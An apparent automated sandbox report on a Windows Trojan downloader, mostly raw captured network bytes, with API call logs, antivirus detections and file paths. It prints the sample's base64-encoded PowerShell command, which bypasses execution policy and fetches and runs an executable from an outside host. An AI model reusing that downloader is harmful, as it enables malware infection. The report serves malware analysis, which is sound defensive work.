”ÓìU’Ãø‚ñ™¦zBˆ§]&ªµ+¹ÅL±¯ŽkùuÈ£×G”U5WŒž¨¢9õ‚<B©Nnõ;Ã.ۍÀ°\óY8çíÏiðZ ¾À”$%‡ú7q³ç¬á›ïÛä;ERE–©ÁSÎ4ÈRîµ®íÞ`pâ¥T«¶m—¥@4k+Ó¼fëf4|úk‹W)™ø0]ºroûÅ­Ò†X=Çç »ñ+÷†ÜÁÚq]ÔFãÌ­%Áˆ¼`guf³ñ÷¢\æSÿ:ˆ¶G¥ÿê˜ w?SùÏåõ¦p¯c¤ÿ™³“ÜS§þH…¡i®%u»ÌRõíQ¡‹Û£‚h0‚d0Uÿ0ÿ0Uÿ†0K+?0=0;+0†/http://apps.identrust.com/roots/dstrootcax3.p7c0U#0€ħ±¤{,qúÛáKuÿÄ`…‰0TU M0K0g 0? +‚ß000.+"http://cps.root-x1.letsencrypt.org0<U50301 / -†+http://crl.identrust.com/DSTROOTCAX3CRL.crl0U.³·XVË®P @毝‹ÂÆ0U%0++0  *†H†÷  ‚ÙLàÉõ„ˆ71Û»â³ü‹kblX·I~<·¨(aëÎà.sïIz5„­hðØþV/mX¦n56sÃå½m^×nrû* ¸ÓWdå[ÂiÔв÷|KÃŽˆrsÜýüm½ãÉ Ža:X}t6+U€=Çc¾„CÆ9¡kWž?)Á€ö²½G˪0l·2áYT  ^clû–g<s “‹Æv$†Þ@ä}-fµ%£–XÈê€îÏi;–üæÀ3ó‰ø)--~ðap•]÷ åÀû$úìŽËaÈîcq(¨,;wï›^dðQÑä…S\°—Ô~Æ4ÒÎä±ß:Âê¾ AU=ᛣ·&ì5­ã¾ƒbíïÎjþ†=ª %R>sSK£}¨Ã<ÃTùŒ¸¥"<®Aô¼*>XÏoŽx©£†qF0D ZBéÄáŒÎ†ÜÃyùò„/ıt"k¿Õ§¸3v?* ;ʛo©rÁH—¦\þ—3Yã•tˆL3b=†MÙ´¡
Data received 
Data received 
Data received 0
Data received ÷$<úۅ‘!.RŽ(8®üù¥‹#w•ý³ÚGݘ +f‘I Ô£Ÿz‰îN
Data received 
Data received „k:ù—Eta©Û‹Ïù˜Õôˆì/Wut^ç:Ê8d|
Data received ð
Data received qvÇQ¶™º*5- ‹F©-U±MDžu€æjVj÷/KĦ¶ºõÖ¿iÃìÝdRòy~Báô ‚›‡þ¬½/ÜЖ ×:,(¾@ºž¿‚J[Õù]DVp˟"¼Êºk%~#x;ȸ͂¯e@ñ²tE’3ÂT{G¶¥%æ°&zÿÄ.ôÁïv/êƉ#æG‡õ'’9K3O•€æC›Ð⃪õAj f”ãìúZ[óNsœ@ö0`*-ˆ<ù Ñ~ÜL©š½Eha©œª7ÊðHWMŠß›—]ÿY±0®ã3BÞô_ýØ͂ ø›ÂMH±á½}äéÅћ¥ràÁªj)Ζ"ÏÀç ÁhFLWhibLtÂyå>-#ƒŠ¦V#ÃF-…o‚–›æZV†V“ #Xâm ‹èp×R}qä!úQr[÷jÀ@ңܜÌâ?•gjE¤^Ìr4ߋ쾪 V—9•a¶zKÏÆ"§ÏoN¨ë¬‚yþvWG½wRôË k¾½Óç9q£^’íֈу0óÛ£ØùÌ©¥œhŒ«Q ®ÀçÈ9ÝâexkíxÝàÕh¯1× ¢Ã‚÷&Û}¥l±=¸wmÈYG6²Ð¹ú‚€kÈɕ¡ ¥eg¹\Š8È;BóÈyesÞlíº¨¥RGÆUÃNmSîŸ/ۜš :`Ëýn Øá•îHÔÞIÀøŽóº\¢•%֚ó$}ˆÊÌót4³Ó81µ eeB ÅYÍ Ô9÷¤h,;K ªËšãxiÔÈA&'y<³õMxQ‹šÊmM>ôG£àæô]Ûjd^É«kw9ʗ<n¹ñ³Þ”ù|¹ä‡ô”¦CLYÐ/µät£vk<hX1 bŸ>ú2þY,=üò‘ŸÙXi^W뎶§é¿$%j¿W±ôçšiÿ1å×Øp¾æs¶²¿úù´@í¿f%=†­áé!½`é;«uæðB”*Z»@öÎn½#El9 b–Pª…<^q/~€ßëΖÎSó³kǯ¹vh”äò|?€³‡lpɤ\ýÆ< )òˆ«S¢-MÆF‡Ò®dêíÁ ËõtO’gîø¢K t„5öH£aüa(2ߪX‘¥K€KDÀž\ö”T'„p Ðxúãsu¦?,™ÿVÓÇà€Ïö wôǒ00E–:qÚ6$hHj]´=G+Ϧßó'?^¹ Î1ñ”¾õð“h“&¹àUô^î#¨>F 7üëZ7å£é&ª „Œ;pož'2B³ÏJ)Æ8#!´Šçµô¼(!wâ-‹óÍ}É‚-ô'£Ûàlҕ¿Ù9Q!  ô ¥‘çnèJõëÃÇUmÞzÙDÙqŒ÷Á_Ú¼3÷0 Þ„ø]žÏpDÿþF;0 ¾fÈFá ¢ËV}r¼‚U)³<kî\øi>ÓàÀ‹s·öª*eÛ<"ÔñÖČÇô¡1­À^ –î©ó U4âöƒÕ‚Üÿ}$'S!KÎ3gÛ£úÎjìw} éÄ8ð±q€ød+†ƒÜ\¿EƒÌ­ž Ûï (iÄ°®Ü|õÍÕ ÿ¬@`n¬É&ö?úy8VÈõG’A_7iˆ¤ÜS–ƒuehi _L€Ò°UÆLøȎ bïZ÷«·­E´É \¨Š¹t" Z?þó+7£¦n#Úõõbðí4…ʪYä´\ýÈú¶á4ÔJ¶zî{DLÎ*íkgq§ќ"S͹˝“˜Ö n â}ƒH4%sZ½]kq\ ‡ís|~ó“ έ  Zu;¹Ewg9zë8 %/ |ZþoCZɤCV @iºîËhݒXÊ Ü?†ƒç¶«ð[<;DdËK[ï¯MƒˆÂEâۏ+ã˜é=¿VHó>'½dt¿Ù–îþ±¿aäþ¡+IX"2J9¨Ñ—ïSìMÅʃ7YUÏCWm>ý¦áᎠoôXC,ùtzâ!FÀ0Nw/äêâ%šUéµX úbñµޕΊãƒÿ) «Ãxж³æŠ-. oéÈn‹Ùçÿf§¨bŠvÝlÃHþoOÊ *ÿÄ5‰ìÖÈtäEÕĺ ĈsÉ¢Ѩ‘©nÑ{7K.Ԙ¢ï=_mËS.Ôâ`o7ù…3ÔׄŽØÎ¾?²Âᤫn‚h÷7©ÁFÏ·­#®Êï†wrkAe0:€_Ȁ1ÏûËîM¿¶–½ãlrÑ6E¸*LvÈSië¥ãký‘—µ‘Ðç?úf\Ké9;”_0ÑÎʑ*¶ß¥e«<X¥Ï‰œë¤r™zƒî§:@žÍ -« ÉÑnuŠÎ}rc•×F㮏_ ¼;ÏîGÂwV—{s/ŽžY#O'W"eù^òôW—ðòX—é•f0הŒ™çVûˊ͌]ÛðÐÈëï§ÿ¿÷ m!âPqÛìõEÎHr½l`Cu*¤AÚAo9A°ªöW‚Ä)©í´×ÓtáUÊofD?,Y/#¢:—št>—™˜àm¯,Wå’N"á'ínýÊqV¸õ^4"åK µÿnÉ “Ù?:¬øUÕ¹IùµõƒP=¶/›gpêÀA:E¡¯5xÒ¶’ úE?¢¸_ÐQU’Y¥„|´âˆ ¨&*G’‚)Y$€/\ž2ã&Þv}i øïNhzDÇá_þçG”,í˗éÚ£§9›×ó÷Û ˆªLC§ÆJÎöC,Eš<j‡¿rïẔ̌—Î5›üñÂÙwv&­Xà&n׫óì†Eƒ™ó&…˜Ì{ªë1Œ¯©`ú€›mÇ2ƒÿæghJ+̈́¸ŠÑr±3`á÷ܶX:BµÆÞ̪¨iß1Bº0°Íɤ§¸¢zS[M佃¹¤D™¨ëýî Áñ j#oßgAõʺè8‹º_„|ñÈ9šh9½çÕÚIÚŒü[æè€ ¦ÆXDTâ2Û:O»0ÅÌÆ$?4.òO–ti²Ô´<X¿¯«8;ÊtêµÄ QãǖóŠìÛïöú[o”ìyß:›ðJ™RiÛDP1ùŸË.|¬°Ó%|CZB`‘:¸ô{£5;¦¾Ûŷ¼æ恜œ@ü$äeÿ%˨ËB…ŒŠeÏ%ÖEžnõ×H„w7Æ5hÐn™¹a«P³•“‚aõF‘€Æ4ù ^ʓßQP Ÿ=¶_k©J‚%“ª…k^h:4A/åÖ|!WzWÊä ( Bù%Uy‹yf%Ɨ8ßNÂ_;}ûÝP¸Úµ˜šH^5ÒpŒ«_ò u:¬œ†ÂsáöÜéþV×ép+l#¥ 2J7>D?Ú?îAŽ@\QÚÈJe%ó{Á¨+˜/ú=Ÿ£4¿üLuZõ˜§Ô\1¼¸E¶£Ãf*¸ôœ„vòT6Ž´ÓÆ(ò\9gšÑ_0KlגÇ1ƒ™ ù±Á•]x¶«ä¿K7EˆýZ¡A8µ}¼4´Ó¹c¾K¬-°wø n ßØêÚ)@¼ùÀóŽbØþþú.b÷a—ÑÙ§ø¸àÆÜ:,;´²ô)[{#K´{íœ΋¢6óí× ÍÓ^KÓðä? ¨¿8Àø<‚mÏ 5 ¦j„[õH]&uÀÂÍ´»|ªÏEäZ»b*D/SÛæëË^þÝXáBÔÐ~x«îfg(c¦ÁÌæÞ`6AâçÿLœodȀÿ›©;¿ùp¼•íÊ8é!-'‚b‡¼Å é;´›äøMû Kå]>þ œÉŒ·ÇÐòvÚZ¸LKª…ˆQœy3)ôќÐXÒ&ÿì<;1½iZ‘|Á’â+nJ{³Ü¸bB@‰ªÁ©Z%y0”ýM¢êYÝ*ý­Ò±üâ*²Qœüÿä°HÔyÓÉܗHȐRºôª`؞– ´²-¥uƒ'0„•YQ×¼è4•Ò±ñKÄ6¨.ïÀ9SÃF”ЩaërÑgD<¸ó^ûƒ ¿tV®ð‡½ÁYu$¸¥ §5‰›<J}QĦöY¸Dùi3ý£1»ô'›±qÒm X:¼Õ، IÀ€ûn‚Æz¡h¶ð@žÜ€·*ŠNŽÑ‡‰]‰ÎÜFè§ny쾊‡¢bdeÄ×Iäd¦¥ÃzeC†¡Št0-”½Ÿo¾ó;êF¹U;S˜á«|5ù¦Ó?ÏÃ<Ù ÛçeMm9ÑLëˆÈ"õqµŽÔƒ/Å×JïÊ+«ñÙ9ºßã•ÇŸ_Dx¿:œÒ#愽.Ã-É+=EnøóMnG¦©,¯êtI•j“¥VJ"â[˜ÑTß%µ/q‚'€;†PÉàš:]äÞ¥õ~òù•¢$iv¶<k3“pL P8@ÚÍ~·͘²çö^ícªú€¢ %e—U: ãÛ8w‚’q ˜%Ä°Š2…kôñ­ºbºÁät&FŸ@ߊîȘ6ŽÏÁJ؀PB=uö!—¡:Aô±WJXYfÂFTÕBö! 93ØÇfå¥l©z<ß³J¬ó4÷ʘÂûSTá|ïÌ[$Ú®÷Éß ¬LÿÇADÁÿ}„±è;1ôQi݌í&Û/„|Ç÷ùìMQะ»ÉÍ-ÉÖ®Hž˜ÏµÃ|5T°=G¾¯éý€Z‚†žƒ¯ú·‘ çÅÅÑÛUrRƒ9gø›ËýI¸u§µ>%e_²Ă¹ÈÐ ò^Ð2ë;—ŒË˟7W»!G"عëyÄ£'Zª©–€/IøéËòq4òÏ¡ŒSàÃJ]GóŸÐÝFŽÑ è»~.„ ÓÐ(ùmŽj•"Œ! ¸JjH¶ë47ðÁS_i)è¾&Öææ²cWãµí‹¶d%f² üíy‹D š» (=nè¿ç–'¢»^»6ݤ·¹Þk²¸ð*è”P’Þ45s%–Je°dÓõ½ý1¿XŒ¯$`œ3&w½ºEcŒ5Õ/þ¶0’S¿^ˆº.»L+»&XooAí)à•&UY'+.?r†kÝ̩ܨÐÅØ„QAæ„哯g_ífP&Ž½+F¸qÙÝV‡WÈõñØíÉ!¯‘ ³Õc…äM ó0$ýÁôQql…j¸/3í(ý¡}‚¶¶’QeÚýæi±ˆ¶å§UPMœ»·Sð—=I$½¯Æ`òë§FÏôÝĹöRû¾žFd JWš)[âæªS‘•ÓÃpÊP(±b‡à‹DeGy"?vÒ>9Ue&ÖÊÃK`ëÁhý0UK>R
Data received xLj¹½AÀ_Ü fîº#Y§ÜAîAü§@48 ³;Q
Data received 
Data received DLÔ¼Úõ)o6Â*`hǒ„øÜV¯Í;.óOV!8
Data received ˜µ§–Cò•ö%ìç×¼µE"²c"˜ øª ;B«+ie¸þq© Í힩FsÌNҗæ Þ‰õ‰‘ÛÜd'¡8+æˊ¨T_ȐX/ó‰Ô<¸¸ˆYËؐºþ./$ÆgÓ߄‰¶Éq/äœòb ¡Ã®DŠ¬zÉÎWó[  £`¯En*«ŒQ坭±t¡BÅnöiî ¸×à8a~â7þ*Œõä)¦!žÛ¾…-Ïú’Bõ™'é–¸^Ž{GÀ|=øŽÿÁ´ „°d“qPQW£âMý«ôŠøts±_/í̬zsÈÌï‹è±šºâ’î_ý§ ÁT[*n—ÂO²´¿ÿHWEIwëÞlC,g„)T°Ӑ+ñù~n$ãù1Ðj7æã4Çq˜¥êŠa¼A6•Co7_µ¹©Œ%Άèû¶TaªdôÇ*ð”RÆ>âÚË °ù€&;¢$*šÏ£Dýqå¬#óLxÔ'¼ÚÓ Ù‡ýn=]c5žÅíEJt‹¼ ¬¥ó nQqyd€š–GVL`sµ`rD•m2hc”öÞ¾ÄUÎρ0õ›[gGãèa¹ªw—/œL;ƞî¨ÿ!ø?Âø7/J˜ûàN¿M]¶ÍAΤÙäXïìð‹éÞÖP‰áÐIîa áþ5y¹ofÒ/†‰8 %,ðZáKP“„ä[,°L6ÕD̪,ÇFí ÍE®HÊ{×ÓfiBr‚D¨èè: üœ-x¥œÎ’Ù|·ª±%\ g*U¥ªå%¶ d©1;}'Xß1S-iÀÚú&$Û@ò¢"wœ‹»@} ëäïo1ÄÒhg@ETKua;¨SðñÙ/ÝÅ¥I«;›¤ ¶¹Êú4Þ÷MIÈÂ1D7xåù ÏKK¯Õ4| i™]Á^´wöBCÌL $Õ> 4䑺vekOÐÐ"3é諍ƒ14£ZIPúù’ƒ¯Ûî69Ìg*„"wÕU¡]OYª­ã²t` x¥!æœÝŠ6=ð•lüñitêñ`å¸V2‰GEŸ1Ö®˜äÎò™Y TÃÈÒ6oÆdeÊ|´ÃB»vgBiˆà¯½lßÕĜj%šcz5ˆ“YÒæA% ֋!ƒ—°Íuá]h"¼=jÓNlàô:Òéï P$þymÒx¬D.-»n=´£¡Y¦|¬Mœ©ðŒå×m\@KÞ8û,ïÂÖÚ®©nÁLfç®ôa+=0n™õ,€‚PÈYÝəÖ#ƒ:[LÀhY—ìM£ËP,tR¸>qY2CA©#ÅMºØeøqø¤Ó­ï£áTbìU 5t"¡‚Y[hi ¨È@ÃO9hÁﲝ¶—‡–^ ø\4%ÎÅë€͝„U4ñ´l^Ȗ¢¸h«ñsb>0µâûYÉÓ§ò½+)<%ÒÁ݋C=²Óoá°.û1çÖ:ž½$åÈ µGdª¾jÅ; $¾îa:n‡ Ý/áöҬţ¡Ðõ¿b£ÃÏkŸUOº¯0ѕ¾£U«ÜE3CËaƆŒÂÉ©ÒÍäž+ÆíVFϺ†ÎS<*gR¾‡÷¢(ÊAõíŒjû֎iÊM4W8™Í̛…EýNï¦è”%'}ÎG§s¦ÄþäÁzZ2’5€Ëç^±‰]ö˜¿†ƒC¿©B©ˆj‚_ÿ¢³6„™Œ!ƒ³l9¶vœ?U²®Í¡}’ò®®ù8{nÄx½ ì]ôbÃj¶J¨ ÜïAÑhFu‡6 iXîM±°€O$AƒX§‚ãöØú{SÏ''r-í¸UñŽ>C@ž>ŠFe¤L›'û…ÖãàåËtÑ·ÆôÒJ†åí[F{@èfv(dÒÚ£ÿ²Ì˜¦­U~“Gßbâèoÿg9”ÏbÈZ©“‘¯¹:0-+Í 6þh›¦#É$5!®r5;uHXÛÈçW¸È½KgÅv_Å'øÚ(À ñ?KUVÖ}ìüwc&Zš8Ü©Š$ÞQZÛ§© 9Qïz2@¾™[­ý3OrÐ]W߀ ïÀíRai“ÏâOós‘Ïd…ƒ¦ÚF ?ÇýØ¿¾ÃŒJ €`‹†é×MÃÏàsyÿžó´ðUù.!åT<xÄ3ÞÖ¬YH¾51d+ ÿ=ü,‰,8™5}ÛW½±$ӅPY¡NMUX2 ¼Ëÿ‹•æŒÁ®cÇÑh‹w쾊 ™ŽÑ§ÐLh—FKh§jPªÚîU5*añÁ•ßP rXDȓO›µðÁ,·™Î‹›…t , ®Œ¢9/Bó9¦}BwŸ_òºŠZ sßoò R¿/##\ âz¿ÛEÝPÙû“¬(š{µ¢ŽS8ÅÕD7͝z|'G…w*Z Ï>Í9Ûl¤[¹ږxë°#>t÷¬·Ë`‹.çs7ËBýÂOÖÁµ§b`$ç<ŽÜÃ"f •´+H˜tçncekôý¡†ÍŠpîªzËJž*ÌzÔ¤ÈhH”ÐfýSŒ\û dO”wÎÈ=hš/²TC ôáqL7!Ó×_ń»›$¶ÙM_€ùžÃˆX}"ßɕˆ9±¥Y(Îïô ÚY«†¨ïÆm,nx¢cûµ”ОžAp‡*vø¿ìz@€¸Ë¦ £Sö h@½˜4Y$.‰1ÕOÙ´N׃¾á×ö-tÇQ êfõîy™TÖj82¼*p (¼‰å&`þhí´Zê z‰‚³÷K™^n;ijÈJÙW„§¹qóo[n¹êKñyA€«zՏ^«ÙPŒ½¬åä‰+s;ŽÇ'¯Ô ½µÄ$I›l§ ¥ßâªÉñŠà…<ǝ}$ð}Р`č]ÛlåümЫ×MAñ¢¾æDRQ£M{(Y`æåe”(Ï[S½s¿Úÿ7»4¯öL0…@o«1o<B×H˜lzÙ&r\Íێ‘öGúêªyú6 ÷@¬ò‹ÿ`p9™vq+ú0ÏÈgùëÏï— y4ÿÃgK&óÛx¦Íš™ƒþdsÀCæ <8BæÈÒxƒq†“°š“ŽÉc…Œüm!½@xªc» Á Y[÷ Tà%¼ÞÅ5Oóú¿Ë®ë`Ò7/e°çù r»‚æ®Jp,÷VTu¸ât*ég#Å1Ý»`s–þþ ÖNþ4jÂú‘\jCì­ÝŠÎÀ«+ ê<Ž­hXâIˆ·ŠJj€àÇkùÌ`,Qnv¿Ps%8ªÒÄ¡]]Öì¯èÓUåÖÔV0.ú£'ñš¬ ‡®Ç@ŕ¼‘ÛÏvFëŠôü'î—|§1ôÕÈn€<˜QԒˆ"j„:½Ö KÐÍÉ!{æ½·,AœÅ#½[‘Íx98J‡¢Æß~$TßXÛó¯Á&ééù’uîC;¾Ëâ‡ÞˋBH”~?Ìì»ØŸ.²Zkå[ãÀŸFÜ×B_‡Ë_2ð4˜</‹|î“úÊBՅ’³Co; ëÕ`”ê>ùT- Vì"µïbW³ö€:€cð“§kdëeŠá™¸S"úæ¸~²ëw g®ˍ*³¬½š¸Åvš!Áïo‹&|_“¤oã€[G¡ ˧'43ik˜w´[óz0ó‰5®%ˆw¥×k›»O^ÒÛ:Òü§™¾'òd5«î΂ ¢{ Ó4mñö{–è&ÌYïGsªa„Ž,¸s&àø0 ê·b&€-ݲ†ª«G˜£äžrw©xþFS¾AI» uÇ5Q¦;Ìu¢ ôêÚHJ;Z½‹ý-ä.Î{½IÃæqMRÇ\"ëð¬‰ò¾¶…iªFøñ™Sÿ !ÕüwЇ…êƒPö¦¦c%%?$*>®üÑZuï™ÿßó3K=yÀ7Õï ®/…ÔÀg³£džÓå,Í-Åk"lne<49ý^Ø/°ºA‚9 &†uâ¯/8SÇî±ëf ͊c’‡ŸL H* ڕºÕ³×ó‚xÓÖzu,^-Ҕ‚çř_CÓ7^„P,ƒ6xCÀÞQ:£ÚxÀ%êqݛƒ}HsÙÓìü^T~3{\Ú»·?.&ŒIe‹;ÍSÊlÇ~†šå\ÒI{ø½êt7`©*CXò”‘5¦ÅX†9A*€l(ËÌä =äö„¼ònnvîo‘ð+Æó¦Aå;²Ü 7¶ÄTF>‚ŒçñÂ>G¶ýƒcÒ~±¿õ'ٚüOîÒÍUüs­­Î=†g”ãÏ$¿vPÞá¥ÆþÂ@(a¼8qֈ%zÒsƒÛ+â*zš½Òd1´.õSå]h¨ý\Õù÷-ÌðnMíÑôRr& GÅÐ;HW*‹xýWß¼7GªEK÷«²pú ´D/BÜñ3:fUXùÙbA²™ {ʀHL w³ \;.p&©Hè4`1Ð æ¿êr÷ñ.³XO¡5°dÿR}SX+ÖXú渠6»ü†«­JM¸©£Zú)¤÷×4$v†8ëǦAÈ´ÈÓKGÂ}~dTò†øtä2‹l—“+-c蟏T…cÊÃBŠ¨µ@Tâkg—C_Üu5ˆ5µš – cG ÄZŒGê=Û·˦X–É ‰#ÙñòéM@ÀÓ¢’r&°³õùäLŽÚ³=Iùð=é««°|q&ÜÔ¡ŸÔ:ƒ—›ôÌò`0Θ(Ü5>¼‘Ë©©Þ“ª‚½M"xPÆòCܚœÐSÔ﹆œ0B‹8cÌ'Ô `P{îWL?€4C9WÿãôøMd…1IÊé„ÅPA(}Ž¯š¾=y¯±ƒWù©8¹P”—ðuIÁ;Ù²ï ÏhGqÏ8mJ¹G¯É&<L,[TóCt¶Çý9UøŽ¦e,lÿ`´ëÜ6ˆ/êev`«ŽžöºŽ2SQ=»ËÏcdAcm1’„¹IefW›µÆ-ªZ!ÆhæËçÎõ•¹ ë+W‘IdQ³YC¦­»]¬¶ÀGõ¤˜­YI-ì&åæö"ÁmÂ#üŠ¶!r´fghgüÔ6dâj¬Ðå ¿®–ÐZeŽ[àR6
Data received ¼a¥neŸ@zä~ò§51EèaþP>î•!Tˆ
Data received RóðIŒhA':¹` ZÂLxÀBt¤ØŠ¸×Øeû
Data received p
Data sent nj`uCÝÖ´=–¤Ì+E¾¦‚v ¡÷?¦ºû•¯òà˜/5 ÀÀÀ À 28)ÿ u.teknik.io  
Data sent FBAd£¦œ5ªîw_ 7{ܕçaS"Áohöeƒ{Êì„>¿swy™~~‚­ï1¦D7ጨšó±¢6yr:KOë0­ §—VpœI¡=¸jhvÿbõ€Ï—Þ,ˆý*W¦ûJëØXa՟JØ8RvÇ 
Data sent `í[zj‚‡ZÅ[þH§<‚Û¡¿?K°qIÕ#J8ŒLñŒŽ¡_7¯ìxà¡]Ò6¬”o›NŸg¿-+tݎÛ"…!WtfœxuÔ[ù<Ä6Ï4¿ÖràçCn
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 172.217.25.14
Elastic malicious (high confidence)
FireEye Generic.mg.9fbd32c6bb25f6a6
Cyren W32/AutoIt.UF.gen!Eldorado
APEX Malicious
Kaspersky UDS:Trojan.Win32.PoverTel
McAfee-GW-Edition BehavesLike.Win32.TrojanAitInject.ch
Sophos ML/PE-A
Microsoft Trojan:Win32/Predator!ml
Malwarebytes Trojan.Downloader.AutoIt
Cybereason malicious.d36792
Time & API Arguments Status Return Repeated

send

 buffer: nj`uCÝÖ´=–¤Ì+E¾¦‚v ¡÷?¦ºû•¯òà˜/5 ÀÀÀ À 28)ÿ u.teknik.io  
socket: 1440
sent: 115
1 115 0

send

 buffer: FBAd£¦œ5ªîw_ 7{ܕçaS"Áohöeƒ{Êì„>¿swy™~~‚­ï1¦D7ጨšó±¢6yr:KOë0­ §—VpœI¡=¸jhvÿbõ€Ï—Þ,ˆý*W¦ûJëØXa՟JØ8RvÇ 
socket: 1440
sent: 134
1 134 0

send

 buffer: `í[zj‚‡ZÅ[þH§<‚Û¡¿?K°qIÕ#J8ŒLñŒŽ¡_7¯ìxà¡]Ò6¬”o›NŸg¿-+tݎÛ"…!WtfœxuÔ[ù<Ä6Ï4¿ÖràçCn
socket: 1440
sent: 101
1 101 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
parent_process powershell.exe martian_process "C:\Users\test22\AppData\Local\Temp\eVDwACBtpW.exe"
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\Temp\eVDwACBtpW.exe
option -executionpolicy bypass value Attempts to bypass execution policy
option -executionpolicy bypass value Attempts to bypass execution policy
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Local\Temp\eVDwACBtpW.exe